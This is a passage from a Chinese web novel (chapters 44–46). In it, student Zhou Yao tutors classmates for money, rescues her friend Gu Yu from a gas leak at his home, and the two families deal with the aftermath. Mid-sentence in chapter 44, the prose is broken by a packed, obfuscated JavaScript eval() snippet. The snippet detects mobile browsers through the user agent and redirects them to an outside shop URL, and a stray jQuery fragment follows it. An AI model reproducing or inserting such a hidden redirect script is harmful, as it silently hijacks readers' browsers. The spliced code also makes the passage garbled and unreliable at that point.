周窈低头,看着模拟卷上自己算出来的132,看似只有十多分的分差,但实际差得远呢,如果她不努力提升自己,作为分水岭般存在的那几道难题,她永远都做不对,这十多分她也永远都拿不到。 自习课,后座蒋煜像个没事人似的在那看直播抽卡,代薇子嫌他吵,扭头就骂:“能小点声吗?” 蒋煜哼哧了一声:“人顾神都没说什么呢,就你事多。” 边上的顾彧默默将耳机音量又调大一格。 代薇子向来看不惯他这样:“等你这次再考倒数,看你爸妈不揍死你,最好是没收你手机,再断你狗粮。” “那不能够!”蒋煜手一拍,拍在周窈肩上:“我还有葛朗台·周呢,阿周能保我不死!” 周窈不动声色拂了下肩头。 代薇子冷哼:“你傻了吧,期中考试座位都是打乱的,你还是自求多福吧。” “卧槽!”蒋煜这才想起这茬来,扭头一看连后排的李铭轩都在咬着笔杆做题呢,瞬间觉得全世界只有他被落下了似的:“那我岂不是又要完蛋了!艹了!这次考哪里啊,快给我划个重点!” 隔壁学委孔昊英仿佛听到了什么笑话:“划重点对你有用吗?哪次你不是倒数第一?反正也没有退步空间了,学不学不都一样?所以说运动会拿了第一有什么用,一到考试还不是被某些人拉低平均分,年级段垫底。” “这你就不知道了吧。”孔昊英的同桌也插进来:“垫底有什么关系,人家家里做生意的,老爸有钞能力,咱们在这辛辛苦苦学习,到时候人家钞票铺路,直接出国了,哎,咱们大学四年之后还是苦命搬砖人,人家出去一趟再回来可就是海龟了!保不齐你到时候还要叫人一声蒋老板呢。” “就是,没钱才要多读书,你看人家周窈,不就是典型的例子。” 代薇子闻言轻拍了拍周窈:“那帮男生出了名的嘴上没把门的,你别跟他们一般见识。” 周窈扯了下嘴角:“也没说错,确实没钱就要多读书。”说完,又低头做题去了。 她得在短时间里提高她的数学成绩,好考上冬令营,至于其他的,都无关紧要。 眼看着这些人越扯越离谱,还扯到周窈身上,蒋煜心里的火也渐渐腾了起来:“你们这帮人,考试不见得考多少分,小嘴倒是叭叭叭的挺能说啊,怎么的,以后靠嘴乞讨啊?” “那可不,蒋老板给条活路?千万可得一路垫底啊,你不垫底,垫底的就要轮到我们了,哈哈哈哈!” “哎蒋老板,以后你开公司,能不能招我一个啊,我也不想努力了。” “瞎说什么啊,人家要招也是招周窈啊,好歹每次靠周窈小考才没垫底嘛。” “小考有什么用,大考不就露馅了?” 蒋煜越听越愤怒,猛地一拍桌子:“有完没完了你们!劳资这次就考给你们看看!不就是学习吗,有多难啊?” “哟,蒋老板霸气!” “妈呀,蒋煜都要读书了吗?你不垫底他不垫底,难道我来垫底?那不行,死道友不死贫道啊。哈哈哈哈!” “妈的,一个个嘴真臭!”蒋煜气呼呼关上手机,掏出一本英语书来,随便翻了一页看了起来,那架势倒还有些像模像样。 令人意外的是,这次蒋煜好像还真的是下定决心了,不止自习课都放下手机开始看书了,就连中午午休时间也拿着卷子开始做,但是已经落下了这么多的课,现在的卷子对蒋煜来说无异于天书。 他抓了抓脑袋,一脸颓丧,尤其在看到李铭轩都能对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528973|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着物理大题写写算算的时候,那种颓丧感更浓烈了,下意识就又想放弃,手也不受控制的往桌洞里的手机上摸。 前排的代薇子就像是有心灵感应似的,扭头瞥了他一眼:“我要是你,被人这样说,不蒸馒头也争口气了。” “可我真的不会啊……” “不会学啊” “哪这么容易啊……”蒋煜趴在桌上,斜着脑袋看边上神速做卷子的顾彧:“哎,我要是有顾神的智商就好了。” “你智商不低。”顾彧低声说着,随手在蒋煜的卷子上画了一到辅助线:“你只是落下太多了而已。” 蒋煜看了一眼顾彧给他画的那一道辅助线:“不是顾神,你给我这画一道线是什么意思啊?”抬头对上顾彧略显无语的眼神,他这会突然反应过来,嗷一嗓子趴下不动了。 距离期中考试满打满算两周不到,蒋煜急得抓耳挠腮,用功倒是用功,就连下楼做操都带着英语书背单词,但你要说有多少用么,倒也没有,单词是背了,但不知道用哪,不知道填什么时态加什么主谓宾。 中饭时,五个人在教室里拼桌吃蒋煜请的肯德基。 蒋煜双手合十朝几人一顿拜:“各位哥哥姐姐行行好,带带我吧,真的学不动了!” 说话间目光就移到了顾彧身上——但又很快挪开。 算了,这位大神画的辅助线都看不懂,层次差太多。 扭头又看向代薇子…… 代薇子嗦了一口土豆泥:“我还想有人能给我拔高拔高呢。” 又看向李铭轩。 李铭轩啃着原味鸡:“别看我啊,我还得指着周姐带呢,爹妈交了钱的。” 最后,蒋煜哭丧着脸看向周窈。 “阿周……我只有你了……” 周窈拿着一块原味鸡块就着顾彧的手蘸了酱:“现在才想起来学习,早干嘛去了?” 蒋煜撇了撇嘴:“嗐,我也不是不想学习,好歹我也是凭自己能力考进来的……呃,虽然交了点择校费。但是吧,我爸妈开麻将馆的,你想想,一回家就是稀里哗啦的麻将声,谁能学得进去啊,你背着单词呢,边上给你来个一万!五条!九筒!胡啦!这谁受得了……” “那你跟你爸妈提意见啊。”代薇子一脸疑惑。 闻言,蒋煜叹了口气:“家里摆几桌,他们还能回家,要是不让他们摆,他们连家都不回了,久了可能连有我这个儿子都忘了。” 看来是家家有本难念的经啊。 蒋煜说完,大家也是一阵沉默,谁都不知道原来看似开朗的蒋煜,心里也藏着这么多事。 “所以哥哥姐姐们,带带我吧,我也想进步啊!无论如何我也不能让孔昊英那家伙看轻了不是!”说着,扭头又朝顾彧道:“顾神,你倒是说句话啊!小弟我都这么求你们了!” 顾彧朝周窈方向抬了抬下巴:“听她的。” 周窈嗦了下满是油渍的手指:“一天三十,补不补?” 蒋煜瞬间点头如捣蒜:“补!补!只要保证我期中考试不垫底,狠狠打脸孔昊英就行!” 边上李铭轩又不干了:“怎么我补课就五十,他补课只要三十啊?!” 周窈又拿起一只鸡翅,慢条斯理地咬了一口:“他是速成。” 44. GA 从这天开始,似乎蒋煜真的开始洗心革面,上课也不睡觉偷玩手机了,下课也很认真做周窈给他布置的作业,和好兄弟李铭轩一起参加课后补习。周窈为了针对蒋煜的进度,还特地整理了近期所有的作业试卷上的典型例题,打算给蒋煜划重点,两周内拔苗助长,对于顾彧发来的消息也没时间回,下课不是自己刷题就是在拼命“备课”,放学路上就这么几分钟的时间也要琢磨知识点,就连她“不要坏了规矩”群里的作业答案业务也暂停了,一心扑在补课上,时间塞得满满的没留一点空间给顾彧,一个眼神都不多给。 对于这样的忙碌状态,周窈反倒觉得十分轻松,这样她就没时间去想那些有的没的了。然而顾彧却不爽极了。 除了没在一起的那几年,他人生中还从未被周条条这样忽略过,明明以前只要自己喊她,她都会第一时间回应的,现在叫她三声都不带搭理的。 这种情况持续了三天,顾彧受不了了。 这天放学后,周窈照例准备给两人补课,顾彧赖在她边上,占了原本代薇子的座位,看似随手拿起蒋煜写的乱七八糟的卷子,粗粗瞄了几眼,眉头就皱了起来。 蒋煜立即双手合十拜过头顶:“求顾神给我留点颜面!这已经是我做得最认真的一张卷子了!” 顾彧剑眉一挑,满脸不悦:“你这是要累死我们周老师啊。” “我收了钱的。”边上周窈从他手里拿过卷子看了一眼,然后划出几道重点题型:“课本上有例题,看完再重做一遍。”说完同样也给李铭轩布置了作业,然后才望向看似无所事事的顾彧:“你要不,先回家?” “你嫌我烦?” “那倒也不是……就是,我可能要很晚……” “没关系,再晚我也等你,反正我回家也是一个人,也没人给我做饭,也没人跟我说话,我在这还能给周老师分忧……” 分忧?你分什么忧? “阿周,你说的例题在哪啊?我怎么找不到啊?”对面,蒋煜将课本翻得“哗啦”作响。 还没等周窈翻书核对,就听顾彧抢先说道:“二十三页,第一单元排列组合,例题三。” “哦……”蒋煜低头研究例题去了。 顾彧仰着脸看向周窈,邀功,像只金毛大狗。 周窈按住差点就要扬起的嘴角:“咳咳,先说好,补课费我是不会分你的。” “只要周老师不要再不回我消息就行。” 隔天,蒋煜就满世界宣传,说他现在是顾神座下第一大弟子,惹得其他人纷纷过来打听。代薇子和孟初之占了座位的便宜,率先跑来问周窈。 “真的是顾彧补课吗?” 周窈没停止做题,低头回应:“他就是给我帮忙。” “那我也要参加!” 周窈抬头看了她一眼:“你不是不喜欢他吗?” 代薇子讪讪一笑:“嗐,谁会跟分数过不去啊,他要是能帮我提高我的数学成绩,我就是叫他一声男神也没关系啊!” 边上孟初之问出关键性问题:“要不要交钱啊?” 周窈抿唇想了想:“你们主要是答疑,那就一天十五吧。” 当天放学,顾彧双手环胸翘着脚坐在椅子上,看着眼前排队拿着题准备问他的代薇子、谭欣和孟初之,脑袋都有些发懵。 周窈拍拍他的肩,递给他一盒巧克力牛奶。 “干嘛?” “报酬。”说完,她俯下身在顾彧耳边轻道一句:“辛苦啦,顾老师。” 顾彧耳朵一红,头一次体会到什么叫“嘴角比AK都难压”。 利落地插上习惯吸了一口,浓郁的巧克力味在嘴里爆开。 顾彧转了转手里的笔:“来吧,都哪题不会?” 不得不说,人多,学习氛围也提高不少,起码蒋煜和李铭轩不再唉声叹气痛苦面具了。 中间休息的十分钟,蒋煜又来了兴致,非说要给他们这个“学习小组”起个拉风的名字。 “就叫叫‘GA军团’,Guyu’sAmry怎么样?!” 顾彧对此颇有微词:“你把我们周老师放哪里?” 周窈忙着数自己手机钱包里的余额:“我可没有要跟你争番位的意思,你享有独家冠名权。”毕竟她也不分人家费用,不至于争这些。 蒋煜灵机一动:“嗐,葛朗台·周不也是首字母G么?” 在蒋煜的吆喝下,“GA”这就成立了,不知道是不是因为有了“组织”,这几个人学习劲头也越来越高了,起码不用周窈追着催他们做作业了。 …… 周六,周窈刚在群里检查完了几个人的作业,陈娟就搬着一箱东西进来,看包装就知道,是外婆从昌里寄来的。 陈娟一面拆箱一面絮絮叨叨:“桃子容易烂,都跟你外婆说了别寄还寄,哎,还差几个桃子吃吗?” 打开一看,果不其然,底下的桃子都压坏了,就最上面一层还算完好,周窈想都没想,就伸手去拿。 “啪!” 陈娟一把拍掉她的手:“就知道吃!什么时候少过你的?”说着,她从厨房拿来一个小筐:“把好桃子捡一捡,给小彧送去。” 又是这样! 对于陈娟无时无刻不巴结顾家的行为,周窈从小到大早已习惯,但习惯并不代表她能接受。认命般地接过小筐,从纸箱里一个个捡起桃子仔细检查:“我都还没吃过好桃子……” 陈娟进屋换衣服:“那还不是为了你!跟顾家搞好关系有什么坏处?”说着她拎着包出来:“挑漂亮的捡啊,我先去医院了,今天晚班,明天一整天,不回来了,你自己弄着吃。” “知道了。” 陈娟走了没多久,周窈就端起装满桃子的小筐往顾彧家方向走去。 此时顾彧家楼下,孔昊英正将一本教材交给顾彧。 “怎没想到有一天你也会跟我要教材。” 顾彧接过教材翻了翻:“这有什么稀奇,学习本来就是要多讨论。” “但是这里面的题都挺基础的,你应该用不着吧?是为了蒋煜他们?我听说你在给他们补习?” “就是帮他们答疑。”确认手里的这本正是自己所需的教材,顾彧向孔昊英道谢:“谢谢你还专程送一趟,其实我可以去找你拿的。” “没什么,我也正好出来透透气。”说话间,孔昊英动作熟练地从口袋里掏出一盒烟,抽了一支点上吸了一口,吐出一个烟圈,“不过跟那些差生为伍是浪费时间,我们这种好学生之间才应该多交流。”说完他拿着烟盒往顾彧跟前递了递:“抽么?” 顾彧看他抽烟,突然想起了什么,但没有冒然发问,只道:“我不抽,谢谢。不过你这抽烟的习惯好像和好学生也画不上等号。” 孔昊英低头苦笑:“我压力太大了,家里哥哥姐姐不是清北就是国外耶鲁、斯坦福,我这次连重点班都没考进,过年过节在亲戚面前都抬不起头来……”说着,孔昊英又问:“不过你为什么不去海市?毕竟海市无论是学习资源还是重点高校的质量都比舟市好太多。” 说话间,隔壁门洞的铁门被人从里面推开,发出“哐当”声响。 顾彧看了眼从远处走来的人影:“海市是很好,但我有留在这里的理由。” 周窈捧着桃子趿拉着拖鞋朝顾彧家楼下走去,抬眼就看见孔昊英在抽烟,顿时一种违和感涌上心头。 她皱着眉头:“你们抽烟?” 孔昊英扭头见是周窈,慌张之余赶紧把烟扔到地上,并熟练地用脚尖碾了碾。 “你怎么在这?!” “我怎么不能在这?”周窈盯着他脚下的烟头看了两秒,再抬头时,孔昊英神色尴尬。 他此时也没功夫再去探究周窈为什么会出现在这里,以及她和顾彧到底是什么关系,只是别别扭扭地向周窈请求:“你别说出去。” 周窈挑眉,商人从不走空的习惯顿时上来了,她思索了几秒:“不说出去可以,但是如果这次蒋煜成绩有进步,你要跟蒋煜道歉。” “我跟他道什么歉!”但对上周窈的眼神,孔昊英还是一秒怂了下来:“行吧,我答应你。”说完,他匆忙跟顾彧打了 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顾彧的眼角又耷拉下来,一副既失望又善解人意的样子:“那好吧,不打扰你赚钱了,你只要记得回我消息就好……” 这一番话,反倒衬得周窈像个“渣女”了,看着顾彧一副可怜兮兮的样子,活像个被人抛弃的小狗,脚尖还在地上画着圈。周窈到底于心不忍,明知道他不过是在装可怜,但心就是硬不下来。 “要不我明天去给你煮?” “明天?”狐狸耳朵突然竖了起来,但还是装作不怎么乐意的样子:“也行吧,反正我在你心里的顺位总是靠后,你能想得到我就行了……” 周窈:…… 拳头硬了。 晚上给李铭轩补完课都已经八点多了,外面天色已经完全黑了下来。摸了摸干瘪的肚子,才想起来自己连晚饭都还没吃。想着要不啃两个桃子对付对付算了,就看见放在手边的手机闪了一下。 一条新消息,来自陈娟,说是晚上有雨,让她记得收衣服。 抬头往窗外看了一眼,天上确实厚厚一层黑云,月亮也看不见,风也渐渐大了起来。 陈娟的消息下,还有几条一个多小时前来自顾彧的消息。 【顾^^彧:链接】 【顾^^彧:我搜了煮粥的教程,打算自己试试看。】 【顾^^彧:教程上说煮十五分钟,可是我这也不粘稠啊?是不是要继续煮啊?】 【顾^^彧:算了,我自己看着办吧,你专心上课吧周老师。】 【顾^^彧:[图片]】 【顾^^彧:我好像搞砸了,怎么办,晚饭没了,条条救命![大哭]】 看着顾彧发来的图片,周窈有些好笑地摇了摇头,这人什么都行,但看来做饭上确实没什么天赋。 有些好奇他到底煮出一锅什么东西,周窈抱着想嘲笑他一番的心情往隔壁去,然而刚到楼下,就闻到一股浓重的煤气味。 她心中一紧,三两步窜到顾彧家门口,顺着门缝闻了闻,果然煤气味就是从他们家里窜出来的。 心顿时提到了嗓子眼,脑海里各种糟糕的想□□番上演,慌乱之间她甚至都不知道现在是该打110还是120还是119了。 “顾彧!顾彧!”用力拍门但没人应答,心中不好的预感越来越深,楼道里的感应灯亮了又灭,黑暗几乎将周窈团团包围。 她抖着手在手机上按下110,却不知道此时还来不来得及。 正要拨通电话,视线就扫到门边那个破旧的送奶箱。 幼年时早已支离破碎的记忆突然浮现出来,她抱着试一试的心态打开送奶箱,铁皮箱子底部,果然躺着一把钥匙。 短短0.1秒之间,周窈大脑里闪过各种关于煤气泄露相关的信息,尤其是不能引起金属摩擦。 可是…… 可是顾彧自己在里面…… 电光火石之间,周窈没来得及多做犹豫,她将钥匙插入的同时,拨通了110。 45. 煤气泄漏 接下来的几分钟,等周窈后续回忆起来,就像是缺张少页的PPT,苍白慌乱又无法连贯。 报完警后她第一时间冲进屋内,屏着一口气率先来到厨房,打开窗户,随手捞起一块不知道什么用途的毛巾打湿捂住自己的鼻子,然后开始四下寻找顾彧的身影。 还好老房子面积不大,很快她就在卧室地上找到了还尚存一丝清明的顾彧,他应该是发现煤气泄露想要跑,却已经太晚。 周窈扔了毛巾,然后双手穿过他的腋下费力地试图将人拖出去,但几近昏迷的顾彧实在太沉了,即便周窈费了九牛二虎之力也只将他拖到门口,喘息间吸进好几口煤气,冲得她头昏眼胀,差点一口气上不来。 “哎哟!里面有人哇?!怎么这么大煤气味啊!” 发现事情不对的邻居出来查看,周窈像是抓到了救命稻草,立即高声喊道:“救命!” 在那之后,她几乎什么都记不起来了,只觉得自己像是个上了发条的机械人,恍恍惚惚地跟邻居、警察解释情况,然后又跟着顾彧一起上了120的急救车,一切都感觉如此的不真实,整个人像是漂浮在真空里似的。 直到顾彧拉着她的手迷迷糊糊喊她的名字时,她才回过神来,伸手一摸,满脸是泪。 她一定哭得很丑。 本来周窈想去陈娟所在的医院,但为了节省时间,最后还是请急救车去了最近的医院。 到了医院,顾彧就被直接推进了急诊室。 随车医生开了张发票让周窈付钱,随后急诊室里又出来一位护士,拿着一沓单子让周窈去交钱,看着自己手机钱包里仅剩的一百块,才想起她刚充了饭卡,买了学习资料,根本连救护车的钱都付不起。 急救室里顾彧不知生死,急救室外的她没钱缴费。 繁忙的急诊大厅里,周窈生平第一次感受到没钱的绝望。 纵然她一直都很穷,日子过得紧巴巴的,纵然催债的几乎每个月都上门,但这还是第一次,让周窈直观地感受到,金钱和生命,是一起流动的。 边上的护士看出了她的窘迫,也看出她应该只是个学生,便轻声安慰:“不要慌小妹妹,打电话给爸爸妈妈,让他们过来。” 周窈抖着手拨通陈娟的电话,但陈娟此时不知道是不是正在忙,一连打了好几通电话都没人接。 可除了陈娟她还能找谁呢?顾彧爸妈都在外地,联络方式她也没有…… 无助感袭来,周窈机械性地翻动着手机里的电话簿,却突然觉得,这座不大的城市,此时竟变得无比空旷,天穹也变得幽深黑暗,小小一个她站在这里,像是背负了千斤重。 陡然间,一直在划动屏幕的手指停住了。 周窈望着屏幕上显示的史芬的名字,尝试性地拨打了电话。 嘟嘟嘟三声后,电话接通了。 “喂,哪位?” 平时在学校听到会只觉得絮叨觉得烦倦的声音,此刻听上去却无比亲切。 周窈哽咽着,喊了一声:“史老师……” …… 不到一刻钟史芬就来了,不像平时在学校里看见她时那样收拾得那么齐整,穿着一身运动服就来了,看样子也是着急忙慌地出门。她迅速结清了款项,然后一把拉过周窈,从头到脚看了一遍。 “你把顾彧拉出来的?那你吸没吸进煤气啊?” 周窈木着脑子回忆了一下:“好像,有一点点吧……” “那你赶紧也做个检查!快点的!” “但,顾彧他……” “你先别管他了,先顾好你自己!”说着就将周窈塞给了边上的护士。 等周窈做了一系列简单的检查从诊室出来后,顾彧那依旧没动静。她挨着史芬坐下,身体依旧不可抑制地颤抖。 史芬伸手揽住她的肩,低声问:“冷不冷?” 周窈摇了摇头,低头却发现自己竟光脚穿着一双拖鞋就跑出来了。原本只想着去顾彧家蹿个门,哪曾想直接蹿到医院来了。 “哗啦。”急诊室床帘拉开。 史芬和周窈第一时间迎了上去。 “顾彧的家属是吧?” “我是他班主任,孩子什么情况?” “算是发现及时,送来的时候还有意识,我们评估是中度煤气中毒,救治及时,已经脱离危险了。” 听到“脱离危险”四个字,周窈整个人才算松弛下来,脚一软甚至差点站不住。 “那会不会有什么后遗症啊?这个孩子学习很好的,会不会影响他考大学?” 医生低头看了眼手里的病例:“不排除有这种可能,还需要后续观察,但现阶段患者没有表现出类似症状。” 医生说话严谨,史芬细细琢磨了一番之后,终于放下心来,出去给顾彧妈妈打电话去了。而周窈则坐在床边,静静看着还在昏睡中的顾彧。 他吸着氧躺在病床上,脸色苍白嘴唇干裂,整个人像是没了生气一般。从小到大,周窈从没见过他这幅样子。 回想起刚刚这几个小时的兵荒马乱,周窈开始后怕,无边的恐惧席卷全身。如果她再晚一点去他家,或者干脆没去,那此时顾彧还会存在吗? 想到这,她不禁打了个寒颤。 一直以来,她都清楚地知道,人老了就会死,是自然规律,但她从未如此清晰地意识到,她同龄的伙伴,每天都在一起的朋友,某一天也会因为一些意外而彻底地从这个世界上消失,从她身边消失。 而她,根本无法接受这样的离别。 垂眼看到顾彧放在身侧正在输液的手,周窈握了上去。偏凉,但还有一些温度,也就是这点温度,让周窈认识到眼前这个人还活着,也渐渐融化了她在冰窟里浸了一整晚的心。 / 头痛,好想吐,为什么整个世界都在摇晃? 周条条呢? “顾彧!醒醒!” “顾彧!” “顾狐狸别睡!” 头痛欲裂,脑海里有尖锐的电流声在不停回响,像是有一千个人同时在他耳边尖叫,连带着耳膜都疼,四肢也好沉重,想动但动不了,灵魂仿佛被禁锢在一具躯壳里,连触感都消失了。 “顾彧,再坚持一下,救护车马上就来了!” 是周窈…… 禁锢逐渐松动。 几乎用尽了全身的力气,顾彧睁开了眼睛,但眼前模糊一片。 “小彧!你醒了?!” 面前的人影逐渐清晰,顾彧眯着眼睛仔细分辨,试探地叫了一声:“妈?” “是我,是我。”何茜华迅速地按下了床头的呼叫铃,然后帮他稍稍调高了床头位置。“我昨天下午回的海市,晚上就接到你们班主任给我打的电话,然后连夜赶回来了。”说着,她轻抚儿子的额头:“小彧,你这次真的吓死妈妈了,我差点就要失去我的小孩了!” 何茜华言辞哽咽,但此时顾彧心里有更急迫的存在,他伸手拉了下她,打断她的情绪:“妈,周窈呢?” 何茜华愣了两秒,立即反应了过来:“窈窈没事,你放心,你们班主任当天晚上就陪着她做过检查了,一切都好。” 听到这些,顾彧才长舒一口气,放松了下来。 扭头一看,才发现自己母亲此时眼眶还红着,平时梳得一丝不苟的头发也因为熬夜陪床而显得凌乱,难得见到妈妈如此狼狈的一面,难免心中泛酸。 然而多年母子情感的生疏,导致他动了动嘴唇,却只吐出一句:“妈,我渴了……” “渴了,哦,有水,我给你拿。” 何茜华有些慌张地从边上的塑料袋里拿出一瓶矿泉水,拧开瓶盖扶起顾彧喂给他,看着顾彧接连喝下去小半瓶水,她这才平复了心情。 “这水还是窈窈买的呢,昨天晚上我慌得都不成样子了,还好有她在,帮我忙里忙外张罗。” “她人呢?”顾彧环顾四周,没看到周窈的身影。 “回去了,昨天我来之前,都是窈窈和你们班主任史老师在这守着你,史老师说,是窈窈发现家里煤气泄漏把你拖出来的,不然你真就……这下咱们家真是欠了人家好大一个人情,你都不知道,昨天晚上看见她的时候,小脸吓得煞白煞白的……” 回忆起自己昏迷前看到的那张带泪的脸,顾彧垂下眼睫,望着手背上的滞留针,心中酸胀。 是啊,周条条肯定吓坏了。 他没猜错,周条条确 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“哪里哪里,还带什么东西啊这么客气。” 面前,两位大人正在寒暄,而周窈则歪着头从头到脚地将跟在何茜华身后帮她拎东西的顾彧仔细打量了一遍,她那天离开医院的时候,顾彧还在昏迷。 不自主地,周窈黏在顾彧身上的眼神就久了一些,也放肆了一些。 觉察到她在看自己,顾彧不动声色挪到她身边。 “看我?” 周窈“嗯”了一声,回想起那天的情形多少还是有些忐忑:“你痊愈了吗?” 顾彧伸手勾了下她垂在身侧的手指:“放心吧,我好好的。” 周窈眨了眨酸涩的眼眶,反手握住了顾彧的手,和那天晚上冰凉的触感不同,今天他的手是温热的…… “小彧别站着啊,快进来!” 握住的手仓促松开。 陈娟将人迎进来,又是倒茶又是递水果的,忙得不行,周窈也跟在她身后帮忙。 何茜华坐在沙发上,开门见山:“我们这次是专程来道谢的,这次真的是多谢窈窈了,不然我们小彧恐怕真的就……” “怎么会呢。”陈娟将茶几上堆得满满当当之后这才挨着何茜华坐下:“小彧一看就是有福气的孩子,人不都说么,大难不死必有后福,小彧长得这么帅,成绩这么好,你们一家好日子还在后头呢!” “那真是借你吉言了。”何茜华也不多废话,直接从包里掏出一个红包,塞给陈娟:“也不知道该怎么表达我们的感谢了,这点心意,还请你们收下……” 周窈斜着眼偷偷打量何茜华手里那个红包,厚厚一叠,起码得有两三万。 这可不送到陈娟的心坎上了吗?毕竟她们家最缺的就是钱了。 可出乎意料的是,陈娟竟然拒绝了! “这……条条也没做什么,这么重的礼,我们怎么好意思收。而且咱们俩家关系这么近,这谢来谢去的,不就见外了吗?” 之后,不管何茜华好说歹说,陈娟都没收那个红包,着实令周窈感到意外。 待那他们走后,周窈收了杯子拿到厨房去洗。 “你为什么不收何阿姨的红包?看起来挺厚的。”周窈将洗干净的杯子放到边上控水,转身疑惑地问陈娟。 原以为陈娟会说什么大道理出来,却没想到她只是颇为得意地说道:“就是要顾家记得这个人情,又还不清。顾家那两口子都是有头有脸的人,比咱们有办法有门路,未来万一有需要人家帮忙的时候呢?拿了钱,岂不就两清了?” 这个回答超乎了周窈的预料,她甚至为陈娟精明的算计感到惊讶,可如果陈娟真的如此精于算计,为什么又会被周建民骗得团团转? 令人费解。 陈娟扫完了地,拿着畚箕往垃圾桶里一倒。 “去把垃圾倒了。” “哦。” 当周窈拎着垃圾袋出门,刚到门口就看见一楼铁门外隐约露出袖子的一角,她心下一凛,急急推开铁门,就看见顾彧站在她家厨房窗户底下。 那一瞬间,她甚至连顾彧会说什么来和她绝交都想好了…… 46. 挟恩图报 “你……”周窈张了张嘴,却发现自己说不出半个字来,最终还是只能心一横问道:“你都听到了?” 相比她的一脸紧张,顾彧倒是一派轻松,他倚在墙边耸了耸肩:“你和你妈说得这么大声,很难听不见啊。” 果然。 周窈嘴里苦得像是生啃了一口苦瓜:“对不起,我妈她没有想要利用你们家的意思,她只是想,只是想……”只是想什么?她自己都编不下去了,她比任何人都清楚,陈娟就是这么想的。 绝望地闭了闭眼睛,最终能说的只有三个字:“对不起。” 空气中的沉默像是一种酷刑,周窈甚至都不敢抬头看顾彧此时的表情,生怕他下一句就说出“以后我们就当不认识吧。” “以后我们就当不认识吧……” 果然,但即便如此,周窈也想不出有什么方式可以寻求他的原谅,毕竟陈娟的话挺听起来就像是挟恩图报的算计,顾彧的翻脸理所当然。 “你是不是以为我会这么说?” 嗯? 周窈惊讶地抬头,眨了眨眼清除眼底的雾气。 顾彧叹了口气,伸手在周窈头上揉了两把,又接过她手里的垃圾桶放到一边。 “没什么好生气的,我知道你们家的情况,也知道你妈妈这么打算是为了什么。而且,我爸妈升职之后,周围这样的人不在少数,明明知道对方打着什么主意也依然会笑脸相迎。大人们比我们成熟得多,也见得多了。” 周窈心中一凛:“你是说你妈妈她知道?” 顾彧没回答,但他的沉默倒像是种默认。 “其实你们家有困难,可以随时开口的,毕竟我这条命都是你帮我捡回来的……”奶奶的事,这次煤气中毒的事,周窈被霸凌的事,其实如果真要仔细算清楚,他欠周窈的何止一点半点。“你们家的债欠了多少?我之前的压岁钱、奖学金都存着,应该也有不少,如果你们需要……” “我不要你的钱。” “我不能要你的钱。”周窈又强调了一次。 “为什么?”这次换成顾彧不解了。明明周窈家里这么困难了,明明这家伙每天困得眼皮都睁不开了还要熬夜准备补课的内容,为什么就不能问他们家借钱? “因为我想和你做一辈子的好朋友。” 顾彧愣了一下,既讶异于周窈内心的成熟,又感叹她的纯粹。 要让爱财如命的葛朗台·周说出这么一番话,可想有多么不容易,但也正因为顾彧清楚钱对周窈的重要性,才更能体会这句话的重量。 “原来我对你来说这么重要吗?” “嗯,重要的。”周窈又点点头,但这次她却有些心虚了,毕竟自己对顾彧的那份友情,现在可能早就变味了。 顾彧完全没注意到周窈这一点点的不自然,他正沉浸在这一句话带给他的雀跃里,就好像胸口有一只鸽子在乱撞,快要飞出来了。 他定了定神,找回自己的本来目的。 “周窈,谢谢你。” 突如其来的郑重道谢让周窈感到些许意外。 “刚刚不是都谢过了?” “那是我妈说的,我还没亲口跟你说过。” 周窈脚跟抵着墙面,似乎是不太会处理眼前这种场面,整个人显得有些羞涩:“不用谢……” 顾彧没忍住,再次伸手揉了揉她的头:“但不管怎么样,我都欠你一个人情,未来你想我什么时候还你都行。” 周窈歪了歪头:“什么事都行?” “嗯,任何事。” …… 回到家,何茜华正在指挥着工人换煤气管道,这房子本来就有些年头了,加上三四年没人住,好多管道都老化了,这次煤气泄漏也是如此。 见顾彧回来,何茜华问道:“跟窈窈道过谢了?”刚刚明明都到家门口了,顾彧却说自己还没跟周窈亲口道谢,又折了回去。 “嗯。”顾彧应了一声,走到何茜华身边:“这是在干什么?” “换煤气管道,这房子三四年没人住,加上房龄本来就老旧,管道都老化了,我打算把煤气灶拆了,换电磁炉。”说着,何茜华重重地捏了一下顾彧的肩:“你这次真的是把我吓死了,昨天夜里我还做噩梦,梦见你……算了,不说了。对了,你跟窈窈道谢,她说什么了吗?” 顾彧听懂她的意思,便如实回答:“她什么都没提。” 何茜华有些惊讶,但细想一番,又觉得这符合周窈的性格,不免心中欣慰:“窈窈真是个好孩子,可惜生在这么个家庭。以后你细心着点,如果她有什么困难,你解决不了的就跟我说,或者找你爸,还有学习上,也多帮着点,别只顾自己学。人家虽然什么都没提,但咱们不能真的什么都不给。” “知道了。” 说完这一茬,何茜华又酝酿了一番才迟迟开口:“小彧,这次的事,妈妈很认真地反省了一下,如果不是我和你爸疏于对你的照顾,你也不会到鬼门关走一遭。” “妈,这只是一场意外,你们不用自责。” “你先听我说完。”何茜华打断他:“如果这次不是窈窈凑巧来看你,你可能真的就不在这世上了。所以我跟你爸商量过后,还是决定要让你去海市跟我们一起生活,就算我和你爸工作忙,但起码咱们一家人在一起,起码你身边能时常有人,不像现在,听说你出事,我第一时间都赶不过来,而且舟市你知道,交通没那么便利,那天晚上要不是我问同事借了车,真不知道什么时候才能赶到医院……” “所以这次我不是在征求你的意见,而是在通知你,尽快办转学手续。” 何茜华说完,一室沉默。除了厨房里工人施工的声音,顾彧并没有给她半点回应。 但她也不着急,她知道自己儿子不是不懂事的小孩,只是需要点时间消化思考,于是她也不催,只继续看着工人们干活。 良久,顾彧才道:“对不起妈妈,我真的不想去海市。” 何茜华转身看他,似乎想探究他在想些什么。 “可以告诉我你一直抵触去海市的真正理由吗?” 顾彧动了动嘴,没说出一个字。 何茜华一番猜测:“是因为窈窈?” 话音刚落,顾彧猛地向她看来,满脸惊讶之中还夹杂着一丝疑惑,似乎全然没想到自己的妈妈能猜到似的。 